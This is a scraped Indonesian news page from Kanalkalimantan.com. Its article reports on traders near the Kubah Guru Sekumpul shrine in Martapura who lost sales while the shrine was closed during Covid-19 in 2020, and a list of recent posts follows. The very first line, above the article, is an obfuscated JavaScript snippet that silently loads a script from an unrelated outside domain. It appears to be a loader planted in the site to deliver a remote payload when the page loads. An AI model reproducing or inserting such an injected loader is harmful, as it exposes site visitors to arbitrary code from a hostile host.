(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Martapura

Kubah Guru Sekumpul Masih Ditutup, Pedagang di Sekitar Lokasi Rindukan Pembeli


KANALKALIMANTAN.COM, MARTAPURA – Meski Pembatasan Sosial Berskala Besar (PSBB) di Kabupaten Banjar sudah lama berakhir, tapi hingga kini Kubah Guru Sekumpul di Martapura masih belum dibuka bagi peziarah. Penutupan Kubah yang dilakukan semenjak 23 Maret 2020 lalu, tentunya memiliki imbas bagi para pedagang yang berjualan di areal lokasi.

Sebelumnya, imam Mushola Ar-Raudah Sekumpul KH Sa’aduddin Salman menyampaikan perihal penutupan Kubah Guru Sekumpul, karena pandemi Covid-19. Langkah tersebut juga menindaklanjuti imbuan MUI Kalimantan Selatan untuk mematasi keramaian.

Walhasil, dengan penutupan tersebut maka banyak pedagang yang berjualan di kawasan sekitar kubah Abah Guru Sekumpul merasakan dampaknya. Salah satunya, Rahimah (41), pegadang kembang yang mengaku mengalami penurunan omzet.

Kepada Kanalkalimantan.com, Minggu (5/7/2020), Rahimah mengatakan, sebelum adanya Covid-19 dan ditutupnya Kubah Guru Sekumpul, dalam sehari ia mampu menjual kembang sampai lima kantong plastik besar.

“Tapi setelah Kubah Abah Guru Sekumpul ditutup ditambah adanya virus corona, aatu kantong plastik kembang aja yang laku. Itu juga kadang ada yang tidak laku sama sekali,” ungkap Rahimah.

Hal tersebut juga dirasakan oleh Hamdan (25) seorang karyawan toko Pigura. Ia menyebutkan, penjualan Pigura sebelum adanya covid 19 dan ditutupnya tempat ziarah Kubah Abah Guru Sekumpul sangat berbeda. Dulu, dalam sehari mampu meraup penghasilan lebih Rp1,5 juta. “Tapi saat ini penghasilan menurun. Gak ada sampai Rp 1,5 juta lagi,” ujar Hamdan.

Kondisi ini juah berbeda dibanding hari biasa, sebelum adanya Covid-19 dan ditutupnya Kubah. Apalagi, jika dibandingkan saat gelaran Haul Guru Sekumpul. Para pedagang menuai berkah tersendiri dengan omzet meningkat berkali-kali lipat.

Selain aneka benda berhiaskan foto-foto Abah Guru Sekumpul, termasuk buku sejarah perjalanan sosok ulama kharismatik itu, bermacam aksesoris juga banyak dibeli jamaah seperti gelang, kalung hingga tasbih, laku diborong pembeli. Tapi, kini semuanya berbeda.. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.